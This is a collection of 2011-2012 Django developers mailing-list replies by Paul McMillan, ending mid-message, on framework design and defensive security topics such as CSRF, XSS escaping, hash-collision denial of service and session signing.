If you'd like to open a ticket (or even write a patch), that would be
great. I would suggest two improvements (probably as separate
tickets). The first is to switch to using the new signing framework
for file-based sessions, which provides the option for stronger
datetime based integrity checking. The second would be to improve the
cleanup command so that it clears out file-based sessions in addition
to the database backed ones.

-Paul

On Thu, Apr 19, 2012 at 11:44 AM, ej  wrote:
> Anyone?
>
>
> On Tuesday, April 17, 2012 4:11:28 PM UTC-7, ej wrote:
>>
>> File-based session backend doesn't expire, unlike db-backed and
>> cache-based sessions. I'm not too sure if this is a bug or an intended (but
>> undocumented) design. I am under the impression that all session backends
>> should behave similarly.
>>
>> If this is an intended design, can someone explains why this is the case?
>>
>> Thanks.
>
> --
> You received this message because you are subscribed to the Google Groups
> "Django developers" group.
> To view this discussion on the web visit
> https://groups.google.com/d/msg/django-developers/-/tsclBizYprkJ.
>
> To post to this group, send email to django-developers@googlegroups.com.
> To unsubscribe from this group, send email to
> django-developers+unsubscr...@googlegroups.com.
> For more options, visit this group at
> http://groups.google.com/group/django-developers?hl=en.

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: GSoC 2012: Security Enhancements

[Paul McMillan]

There seems to be  some confusion about CORS (a hairy draft spec that
is not fully implemented in any browser, and not appropriate for
inclusion in Django at this time) and the "Origin" header (aka Web
Origin, rfc6454).

http://tools.ietf.org/html/rfc6454
https://wiki.mozilla.org/Security/Origin
http://www.w3.org/TR/access-control/#origin-request-header

The Origin header defined in rfc6454 is compatible with the CORS
origin header, but does not require full CORS support from the browser
or the server to be useful.

In my tests with Firefox and Chrome, both sent the origin header
properly when making potentially state-changing cross-origin requests
(both AJAX and standard form POST requests).

My suggestion here is to include optional support for the Origin
header as follows:
- if present and null, fail the CSRF check
- if present and not null, use in alongside the Referer header
- if absent, keep current behavior

As a general rule, if a browser sends an origin header, that value is
more reliable (harder for malicious sites to manipulate, less often
stripped by firewalls, less often disabled by users) than the referer
header. This addition won't improve CSRF protection for older
browsers, but it also won't break anything for them. For users with
newer browsers, it should prevent CSRF even in cases when the CSRF
token is stolen due to misconfiguration or user error.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: metrics: Django case study

[Paul McMillan]

Thanks for sharing these results with us. I found them very
interesting, and agree that they provide food for thought, and point
to areas that might be improved.

-Paul

On Sat, Mar 24, 2012 at 12:57 AM, Gary Wilson Jr.  wrote:
> For those interested, I've made available a couple reports from a
> class assignment where we analyzed the Django codebase, bug tracker,
> and wiki.  The motivation of these reports was to answer questions
> related to code size, modularity, complexity, unit test coverage, and
> component quality.
>
> Instead of attaching the roughly 3.5MB worth of PDF reports in an
> email to the list, I've made the reports available on my website:
> http://thegarywilson.com/blog/2012/software-metrics-django-case-study/
>
> For the lazy, here are several points mentioned in the papers:
> * Since 2005, slightly more than linear growth of source lines of code
> (SLOC) and number of files, with a noticeably faster SLOC growth rate
> in the last couple years.
> * Project started with 11k SLOC in July 2005 and has grown to over 70k
> SLOC in Nov. 2011.
> * Almost half of the SLOC within Django reside in the contrib package.
> * Growth rate of "complex" files (files with at least one function
> with cyclomatic complexity greater than 10) has also been nearly
> linear over time, but at a lesser rate than the SLOC growth rate.
> * Average complexity of files (weighted by SLOC) peaked in 2008 and
> has been in a declining trend since.
> * 10 files contained at least one function with cyclomatic complexity
> greater than 20.
> * Percentage of functions and classes with docstrings peaked in May
> 2009 near 50% and has been declining since (to near 40% in Nov. 2011).
> * Packages with the lowest percentage of classes/functions/methods
> with docstrings include: templatetags, http, template, and db.
> * 16000 tickets: 63% not categorized.  Of the remaining, categorized
> tickets: 59% bug/defect, 17% new feature, 15% enhancement, 8%
> cleanup/optimization, 1% task.
> * Ticket resolution times: At one month after opening 35% of new
> feature tickets are closed compared to 50-80% with other ticket types.
> * Average defect repair time (i.e. time to ticket close) is 65 days
> (though varies from 127 days for tickets categorized as normal to 31
> days for tickets categorized as trivial).  In general, average repair
> time has steadily decreased over the life of the project.
> * The components with the most defects reported are, in order:
> documentation, database layer, contrib.admin, and core, which in total
> account for almost 60% of all reported defects.
> * If taken in aggregate, defects reported for apps in the contrib
> package account for about 25% of all defect reports.
> * 13% of all tickets submitted have been marked as duplicates.
> * When normalized by size (defects per SLOC), core had the highest
> defect density by far, followed by the database, forms, and templates
> components.
> * The most edited wiki page is the "DevelopersForHire" page.
> * The wiki consists of 600 pages with an average of 0.26 attachments,
> 18.4 revisions, and 32512 characters.
> * From 2007 to 2011, code coverage of the unit test suite more than
> doubled, from 39% to 90%, with a large increase seen between the 0.96
> and 1.0 releases.
> * 59.3% of the non-zero-length modules had 95% or greater test suite
> line coverage, and 40.3% had 100% coverage.
>
> So, I think these reports show that there are some things Django is
> doing well at (e.g. test coverage, avg. defect repair time
> improvements, avg. complexity), and that there are some areas that
> could be targeted for improvement (e.g. components with high defect
> counts and densities, docstrings and source comments).
>
> Thanks,
> Gary
>
> --
> You received this message because you are subscribed to the Google Groups 
> "Django developers" group.
> To post to this group, send email to django-developers@googlegroups.com.
> To unsubscribe from this group, send email to 
> django-developers+unsubscr...@googlegroups.com.
> For more options, visit this group at 
> http://groups.google.com/group/django-developers?hl=en.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: Making sure Web APIs built with Django don't have CSRF vulnerabilities.

[Paul McMillan]

>> One idea to mitigating this in Django core that I've considered would be
>> introducing a '@csrf_defered' decorator

> Practically speaking, I think this might be ok and would cover the
> majority of real cases. But at the very least it means that this
> decorator should live in contrib.sessions, not in the core CSRF code.

I would be opposed to this code in any shipped part of Django. It
certainly could be built as a third party module (if we don't have the
hooks necessary to do this, we can discuss them). My main objection is
that CSRF is not a topic which should be deferred, or maybe on, or
anything except absolutely positively explicitly on or off.
Introducing a deferred format encourages developers to ignore it,
until it causes problems, at which point they will do exactly the same
thing as they do now, and turn it off. It's easy enough to screw up
already - adding a "maybe on" is going to bite developers even more
than the current format, since it will be even easier to write code
that works most of the time, for most users, but not all of the time,
for all users.

I fall into the camp of "you should understand what you're doing when
you turn CSRF protection off". If the framework authors want to
support session based authentication, I believe they're capable of
doing it correctly. Until then, if users want to hack session based
auth onto the frameworks, they should be careful and understand what
they're doing.

For readers who have not inspected it yet, Django's CSRF
implementation is quite instructive:
https://code.djangoproject.com/browser/django/trunk/django/middleware/csrf.py

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: make the File Storage API works with a file-like object instead of the Django File object.

[Paul McMillan]

This ticket is related to the issue:

https://code.djangoproject.com/ticket/16946

-Paul

On Tue, Feb 28, 2012 at 3:29 PM, Jonathan French  
wrote:
> You can create a Django file object from any file-like object just by
> passing it to the constructor.
>
> django.core.files.File(my_file_like_object)
>
> This is basically what all the storage backends do where there is an
> existing file object from whatever source, and what you have to do if you
> want to save an existing file to a FileField.
>
> - ojno
>
>
> On 28 February 2012 22:28, Michael  wrote:
>>
>> Hi,
>>
>> The File Storage API only works with the Django File object (https://
>> docs.djangoproject.com/en/1.3/ref/files/storage/ ;
>> https://docs.djangoproject.com/en/1.3/ref/files/file/).
>> Wouldn't it be a good idea to make a Django file-like object instead
>> and make the Storage API works with it ?
>> That way we could use the current Django File object when it is real
>> files but also use a "remote" file object like the urllib2.urlopen
>> returns.
>>
>> What do you think ?
>>
>> Best,
>> Michael
>>
>> --
>> You received this message because you are subscribed to the Google Groups
>> "Django developers" group.
>> To post to this group, send email to django-developers@googlegroups.com.
>> To unsubscribe from this group, send email to
>> django-developers+unsubscr...@googlegroups.com.
>> For more options, visit this group at
>> http://groups.google.com/group/django-developers?hl=en.
>>
>
> --
> You received this message because you are subscribed to the Google Groups
> "Django developers" group.
> To post to this group, send email to django-developers@googlegroups.com.
> To unsubscribe from this group, send email to
> django-developers+unsubscr...@googlegroups.com.
> For more options, visit this group at
> http://groups.google.com/group/django-developers?hl=en.

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: Django and dictionary ordering

[Paul McMillan]

The official Django position on the Python hash randomization issue is
that this Python bug has been fixed in Python. Users of Django should
explicitly enable hash randomization for versions of Python below 3.3.
We'll probably make a formal announcement and writeup for how to do
this once the changes have trickled down into more general
distribution channels. Users who cannot enable randomization or cannot
patch their versions of Python are advised to limit the size of
requests and the number of allowed parameters per request in their
webserver to the smallest practicable value for their use case, and
strictly limit the maximum runtime of any given process.

Any failures of the Django test suite which are caused specifically by
this randomization change are bugs. Tickets and patches are welcome.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: Request for review for a small fix in the csrf view

[Paul McMillan]

> In short, the first patch add a bullet point in the CSRF error page
> which states that this
> error can be triggered by disabled cookies.

I committed this change.

> The second patch fixes the middleware itself to make the page show the
> correct error message if the
> error is caused by disabled cookies.

Your patch didn't pass the test suite, but more importantly, it ties
the CSRF protection to the session framework, which is a dependency we
have worked hard to avoid. I don't think we can commit anything like
your patch, since it actually changes the behavior pretty
significantly.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: unblocking #17277

[Paul McMillan]

I'm in support of fixing the problem, and this narrowly scoped
solution seems like a reasonable way to go about that.

-Paul

On Fri, Feb 10, 2012 at 11:45 AM, David Lowe  wrote:
> Django devs -
>
> I would love to see my patch in
> https://code.djangoproject.com/ticket/17277 applied. It's a pretty
> small change, doesn't break backwards compatibility, and includes test
> coverage. It does introduce a new pattern which isn't used elsewhere
> in the django code (wrapping a broad exception class with a narrower
> subclass, to make it easier to catch).
>
> The ticket is currently in 'Design decision needed' (has been for
> several months). What's next?
>
> Thanks!
> David Lowe
>
> --
> You received this message because you are subscribed to the Google Groups 
> "Django developers" group.
> To post to this group, send email to django-developers@googlegroups.com.
> To unsubscribe from this group, send email to 
> django-developers+unsubscr...@googlegroups.com.
> For more options, visit this group at 
> http://groups.google.com/group/django-developers?hl=en.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: Don't assume that missing fields from POST data are equal to an empty string value.

[Paul McMillan]

> The "ProfileForm({}, instance=profile)" is
> clearly passing in empty data (the empty dictionary), and it makes
> sense that Django would see the empty data, then determine that empty
> data is allowed on the fields (blank=True) and set those fields to
> empty data. If you want to avoid this, you have two options: don't use
> "blank=True," or don't use a model form.

I agree with Adrian. Django doesn't have control over all user agents,
and we know that most of them already behave in exactly the way the
RFC specifies (not sending anything for blank fields) in at least some
cases (checkboxes and radioboxes). I don't think writing code to
special-case everything else is the right solution.

If the person writing your form leaves fields off that should be
present and it results in data loss, I'd treat that like any other
code bug - we don't special case to save the data from views that
throw a 500 because you wrote invalid Python, so I don't see why we
should add a special case for when you might write incorrect HTML.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: DoS using POST via hash algorithm collision

[Paul McMillan]

> invasive to app code.  It seems that this crafted-hash-collision
> vector doesn't have a clean answer like that.  There are workarounds,
> but they may not apply to particular codebases.

Yeah. The discussion going on over at python-dev suggests that Python
itself may actually implement support after all, which would be really
nice.

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: DoS using POST via hash algorithm collision

[Paul McMillan]

> Slow Loris can be avoided by putting a proxy capable of buffering
> requests until completion between the app server and the web, right?

Yes, use nginx or similar. Slowloris is generally not a problem when
that is properly configured.

> That seems like a simpler workaround than arch upgrade or replacing
> dict implementation.

This problem has nothing to do with slowloris.

Replacing dict implementation prevents an attacker from producing keys
which are intentionally n^2 hard for dictionary operations.

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: DoS using POST via hash algorithm collision

[Paul McMillan]

Yes, we've seen it and are working on it. Python hasn't directly
addressed the problem (and may not - it's arguable whether it's an
application or a language-level issue), so we'll probably have to ship
our own workaround. This is a non-trivial fix.

In the meantime, workarounds include using 64 bit python, severely
limiting the length of requests your server accepts, limiting the
number of allowed parameters in a POST, and strictly limiting the
amount of time a Django process can exist before the webserver kills
it.

Fortunately, attack code has not yet been made public (if you know
otherwise please contact me privately).

Even though this issue is now public, please continue report security
problems privately to secur...@djangoproject.com.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: SOPA bill question

[Paul McMillan]

While this bill certainly merits discussion, and may indeed be related
to sites created with and using Django, this forum is not the place
for it. Please do not continue this thread here.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: Django error page - MemoryError

[Paul McMillan]

> Place a try/catch for MemoryError on the exception handler to send back a
> simple exception traceback to the browser.

Yes, this makes sense, as long as we are sure the memory error is
raised by Django code, not user code.

> Include a configuration settings option to limit the maximum payload it will
> send back to the browser per variable (i.e. maybe 500kb per stack frame, or
> 2kb per variable etc)

I think we should select some reasonable limits for these, and
hardcode them, rather than adding a setting. Users who are debugging
the entire contents of multi-megabyte variable values on the html
debug page are doing it wrong.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: Hash collision in 'cache' templatetag

[Paul McMillan]

While MD5 is "broken" in a cryptographic sense, it's not broken in the
sense that we use it here. A randomly occurring hash collision is
extremely unlikely (to the point of not being a problem). If we warned
about potential hash collisions here, we (and everyone else who uses
hashes) would have to warn about them all over the place.

To give you a sense of scale, if you have a database of 1 quadrillion
entries (one thousand billion)[1], your chances of a random collision
from MD5 are lower than 0.001%. For practical purposes in this
universe, hashes like this don't randomly collide.

It is on the drawing board to improve this (and most other uses of
hashing) by switching to HMAC-SHA256 and using a larger character set
for the final digest, but that patch isn't likely to make it into 1.4
given our current timeframe.

-Paul

[1] As another point of scale, our universe is estimated to be about
43 Quadrillion seconds old.

On Mon, Dec 19, 2011 at 2:00 AM, Sebastian Goll  wrote:
> Hi all,
>
> The current implementation of the 'cache' templatetag [1] uses an MD5
> hash derived from the vary_on arguments to create a unique cache_key
> for the current template fragment.
>
> However, this approach has the possibility of a hash collision. While
> not very likely, this might nonetheless expose sensitive information.
>
>
> Consider the case where a fragment of a logged in user is cached. This
> fragment might contain sensitive data relevant to that user. Due to a
> hash collision in the vary_on arguments, that same fragment is later
> displayed to a different user.
>
> The current documentation of template fragment caching [2] explicitly
> gives us an example with 'request.user.username' as vary_on argument,
> so we must assume that this is a valid use case.
>
>
> Is this the desired behavior? Or am I perhaps missing something?
>
> Without looking at the code, the existence of a possible information
> leak is not apparent from the docs. Without some idea of how hashing
> and caching works, this might not even be obvious.
>
>
> Some further research into the matter reveals that the current (MD5)
> hashing approach was introduced in ticket #11270 [3], about 3 years
> ago, to reduce the maximum length of cache keys so that memcached
> always works.
>
> The history of #11270 does not give indication that the implications
> of using hashes instead of the actual vary_on values were adequately
> considered (outlined in the above message). Citing the ticket:
>
>  "So we have to use md5 hash instead of the whole cached tag name with all 
> vary variables."
>
>
> How should we proceed here?
>
> Should a note be added to the description of the template fragment
> caching mechanism? Something along the lines that a cache leak is an
> albeit unlikely possibility, and that no sensitive information should
> be stored in a cached template?
>
> Alternatively, the 'cache' templatetag would have to store the actual
> values of all vary_on arguments alongside the cached template fragment
> (while still using a hashed cache key). On retrieval it would use the
> cached template only when all vary_on arguments match. However, this
> would increase both runtime and storage space requirements of the
> template fragment cache.
>
> Regards,
> Sebastian.
>
> [1] 
> https://code.djangoproject.com/browser/django/trunk/django/templatetags/cache.py?rev=16539
> [2] 
> https://docs.djangoproject.com/en/dev/topics/cache/#template-fragment-caching
> [3] https://code.djangoproject.com/ticket/11270
>
> --
> You received this message because you are subscribed to the Google Groups 
> "Django developers" group.
> To post to this group, send email to django-developers@googlegroups.com.
> To unsubscribe from this group, send email to 
> django-developers+unsubscr...@googlegroups.com.
> For more options, visit this group at 
> http://groups.google.com/group/django-developers?hl=en.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: Proposal: drop Python 2.5 support in Django 1.5

[Paul McMillan]

> 2.5 is EOL and no longer receiving security patches even, it is
> *irresponsible* of us to support it (I claim).  ANyways +1

This. +1 from me. We do everything else in our power to encourage
secure behavior from our users, this is yet another appropriate step.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: Small problem with HttpResponseRedirect

[Paul McMillan]

As Ian said, Django does the right thing here according to my tests
too, and generates the absolute URIs required by RFC 2616. If you've
figured out some way to actually get location headers that are
noncompliant, that would be a bug, but the handling of // is correct.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: Sprint in San Francisco

[Paul McMillan]

January 7-8 sounds good to me.

>  Have we thought about timeline on feature freeze, etc?

Soon. I hope we feature freeze before then, and could spend a sprint
triaging and killing release blockers.

>  If anyone in the SF area would like to host the sprint, that would
> be most welcome

If we don't find a specific corporate host, we could probably do it at
Noisebridge, which has space appropriate for that. It's often hard to
predict what else is going on there though, so it could be noisy or
busy.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: Queries about CSRF design following penetration test

[Paul McMillan]

Sri:

Of course you must make sure there's no XSS. You also must make sure
there's no remote code execution, and that your memcached servers
aren't running unauthenticated on a publicly exposed port.

> If your website has a XSS vulnerability, there can be no CSRF protection.
> This is because XSS makes it possible to steal the csrf as well as session
> cookie.

If there's an XSS vulnerability, it doesn't matter AT ALL that the
CSRF cookie can be stolen, because an XSS can be used to directly
submit malicious forms, using the existing session and CSRF cookies,
even if they're both set to httpOnly. [1] The browser submits them
with every request to your domain.

> this isn't sufficient to prevent XSS. For example, if you insert dynamic
> content as part of a html attribute,

Wrong. What you meant was "as part of an UNQUOTED html attribute".

As the security document very clearly says, DON'T EVER DO THAT. It's
the first thing right at the top there. I'll link to it, in case
anyone missed that.
https://docs.djangoproject.com/en/dev/topics/security/#cross-site-scripting-xss-protection

Always use quotes around your HTML attributes. If you do that,
inserting Django's escaped content into HTML attributes is safe. If
you use unquoted HTML attributes, you should go fix your sites right
now.

>or as part of a javascript string -

The best way to avoid XSS in those situations is to NEVER EVER do
that. Use Django's XSS prevention for HTML, and serialize javascript
values as JSON. You probably want to load them asynchronously, so your
javascript files can be cached (you weren't writing raw javascript
directly into your HTML, were you?)[2].

Serialize the raw Python data structures directly into JSON, rather
than constructing JSON by hand. Python has a good JSON serializer, and
Django includes one if you are using an old version of Python.

As you said, Django's HTML escaping doesn't escape Javascript. That's
what JSON is for. And of course, always use a JSON parser to parse the
JSON (built into most modern browsers and javascript frameworks),
rather than doing eval().

> This isn't Django's limitation though. Templates cannot figure out the
> context in which the author is inserting dynamic content. So, in a nutshell,
> you should be careful

Yep. It's always important to be careful. Sorry for the extensive
reply, but security is such a rabbit hole, it's easy to jump from one
topic to another till you're talking about something completely
different.

Best,
-Paul

[1] Django 1.4 sets the session cookie to httpOnly by default, making
it much harder to steal via XSS.

[2] The ability to write javascript directly into HTML will eventually
go away, when CSP gains broad acceptance. This will alleviate most XSS
problems, but requires a more strict separation of content from
scripting.

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: Queries about CSRF design following penetration test

[Paul McMillan]

Hi David,

Our CSRF protection is a bit different from that implemented by many
other frameworks. The recommendations we (wearing my OWASP hat) make
as OWASP tend to be conservative and lean towards "safe is better than
sorry." Security and pentest companies tend to make similar
recommendations because they don't have the resources to make
absolutely certain that everything is implemented correctly.

In many frameworks, sessions and CSRF are inextricably linked. You
can't have a form without starting a session. Because Django gets used
in so many different ways, we provide an implementation that allows
you to have CSRF protection without sessions (and without storing any
data persistently server-side). This is useful, for example, if you
have a cluster of machines processing requests behind a load balancer-
you don't have to have keep server-side data in sync across the
cluster.

The way our CSRF tokens work is pretty simple. Each form contains a
CSRF token, which matches the CSRF cookie. Before we process the
protected form, we make sure that the submitted token matches the
cookie. This is a server-side check, but it's not validating against a
stored server-side value. Since a remote attacker should not be able
to read or set arbitrary cookies on your domain, this protects you.

Since we're just matching the cookie with the posted token, the data
is not sensitive (in fact it's completely arbitrary - a cookie of
"" works just fine), and so the rotation/expiration
recommendations don't make any difference. If an attacker can read or
set arbitrary cookies on your domain, all forms of cookie-based CSRF
protection are broken, full stop.

Generating a new token for each request is problematic from a UI
perspective because it invalidates all previous forms. Most users
would be very unhappy to find that opening a new tab on your site
invalidated the form they'd just spent time filling out in the other
tab, or that a form they accessed via the back button could not be
filled out.

That said, there are a few conditions that need to be met in order to
have Django's CSRF protection work to the fullest extent:

1) Use HTTPS. Use it on your entire site. Use it all the time.
Redirect to the encrypted version for all unencrypted requests. If you
don't do this, no CSRF protection in the world can protect you from a
man-in-the-middle.

2) Use HSTS. Set it for several months. Use "includeSubDomains". This
means that no matter what your users type, and no matter what the
man-in-the-middle does, your users will always access your site
securely if they've been there at least once before.

3) Validate the HOST header in your httpd. Don't allow arbitrary
requests to fall through to Django. Serve your site only for the
appropriate domain. See the most recent security advisory for more
information about this.

If you do these 3 things, you'll be able to take advantage of the
other feature that makes the CSRF protection stronger - strict referer
checking (only enforced over HTTPS). This means that even if a
subdomain can set or modify cookies on your domain, they can't force a
visitor to post to your application, since that request won't come
from your own exact domain.

You should make every effort to avoid allowing subdomains to set or
modify arbitrary cookies, but Django's CSRF protection prevents an
attacking subdomain from causing your users to submit authenticated
posts.

Please feel free to come find me on IRC if you want to chat more about
this - I'm PaulM there and I'm usually in #django-dev. You can also
email me directly if you want to talk in private about your specific
deployment.

So, the tl;dr version: Use HTTPS and HSTS. The recommendations you
received are generally good, but aren't relevant to Django's CSRF
protection.

-Paul


As always, if you think you have found a security issue with Django,
please email secur...@djangoproject.com, rather than posting to the
public lists or the bug tracker.


-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: Removing pickle from cookie-based session storage

[Paul McMillan]

> There's no reason to not use JSON by default since it's adequate for
> most cases where you need to store lightweight data client-side, since
> it's most useful to use with FormWizard and such, where the fields are
> easily serialized as strings. If it can't be a drop-in replacement to
> the other session storage, just document it and offer a
> PickleSignedSessionStorage, but don't push a possibly insecure
> default.

The default is secure. If you don't disclose your secret key, you
don't have a problem.

JSON is considerably more verbose. Cookie space is limited. JSON
doesn't support many of the data structures people store in sessions.
There are many reasons to store data in sessions beyond FormWizard. It
already isn't a drop-in replacement, since it has limitations the
other ones don't have.

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: DecimalField model validation

[Paul McMillan]

> .. (A) silent rounding issue:
>    when a decimal value is saved in db
>    its decimal digits exceeding decimal_places are rounded off using
>    .quantize(). Rounding defaults to ROUND_HALF_EVEN (python default).
>    There is no mention of this behavior in docs.
Docs patches welcomed. This rounding behavior is generally superior to
ROUND_UP (what most of us are taught in gradeschool) for a number of
reasons that are inappropriate to get into here. If we're going to
round, that's the behavior we should use as default.

> .. (B) no model validation for decimal digits:
>    .full_clean() does not raise any exception:
>       - if the value has too many decimal digits
>       - or if value has too many digits
>    other fields, like CharField, do not validate values that exceed fields
> constraints
There's no clearly defined way to deal with overlong CharFields.
Rounding overlong floating point numbers is common and not unexpected.
Decimals work similarly to floats, and so it's not unreasonable to
have similar behavior.

Reading the docs on Python's decimal module, it makes sense to think
of the decimal_places as an analog to python's decimal notion of
precision.
http://docs.python.org/library/decimal.html#module-decimal

> .. (C) errors on save:
>   decimal values exceeding field's digits boundaries (decimal or total) make
> .save() raise decimal.InvalidOperation exceptions
This does sound like an error in validation. If it's possible to pass
a value through form validation to the point where it has errors on
save, that is a bug.

> In my opinion they should be fixed in a backwards-incompatible way!:
Thank you for your opinion, we don't do backwards-incompatible fixes.
There's usually a compatible way to fix behavior.

>  (A) django shuld not round decimal values silently before saving, if the
> value has too many decimal digits,
>      raise an exception (just like for values that have too many digits)
In the general use case, the existing behavior is more user friendly.
Many people would run out and re-add the rounding behavior if we
changed it. Users will enter over-long strings into decimal fields.
It's really unfriendly to paste an 32 place decimal number in and be
told it can only be 17 decimal digits long (and then have to go count
out till you get the correct number). Since there's not a good way to
make this the default value and retain backwards compatibility, this
is unlikely to change. This behavior should be documented.

That said, a no_rounding kwarg sounds like a perfectly reasonable feature.

>  (B) decimalfield shoud not validate values that exceed its max_digits and
> decimal_places constraints
I agree that decimalfield should not validate values that exceed
max_digits. If it does, that is a bug we should fix. We need to be
careful not to create situations where very large numbers validate but
very small but precise decimal numbers get rounded unexpectedly.
Unfortunately, these two parameters overlap in difficult ways. I
disagree about decimal_places, since the expected behavior is rounding
in most other real-world circumstances.

Does the combination of documenting the existing rounding behavior,
fixing the error on save() with max_digits, and adding the no_rounding
feature address your concerns?

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: prevent brute force attacks by acting on several failed logins, for example by using a captcha

[Paul McMillan]

> I was thinking of adding a recaptcha implementation, based on the work
> of others, if that would work with licenses. But probably that choice
> would indeed introduce an external (unwanted) dependency.

Yeah... it's really a tricky problem. That solution is probably best
as an external app. Some users deploy Django apps with no net access
at all.

> About ticket 16860, I believe that to be over my head for now. In your
> opinion, is that ticket tied to the User discussion, about a more
> flexible/abstract User model (ticket 3011)?

It's tied to it, but 3011 is really hairy, and I believe we can do
good work in 16860 with or without the changes under discussion in
3011. I don't know when we will sort out 3011, but the stuff in 16860
can happen on a different timeframe.

> And/Or do you believe we have to deal with database migration first?

That would be nice, but I think we can work with what we currently have.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: Removing pickle from cookie-based session storage

[Paul McMillan]

As I said before, the existing implementation is secure, if the
SECRET_KEY is kept secret. The sky is not falling, don't panic.

> Isn't there also the possibility that the attacker can somehow get arbitrary 
> data signed into the session cookie without knowing SECRET_KEY?

That's not a viable attack route. It's much less likely than a
developer exposing their SECRET_KEY. The signing process for the
cookie pickles the data passed in, and it's not possible to create a
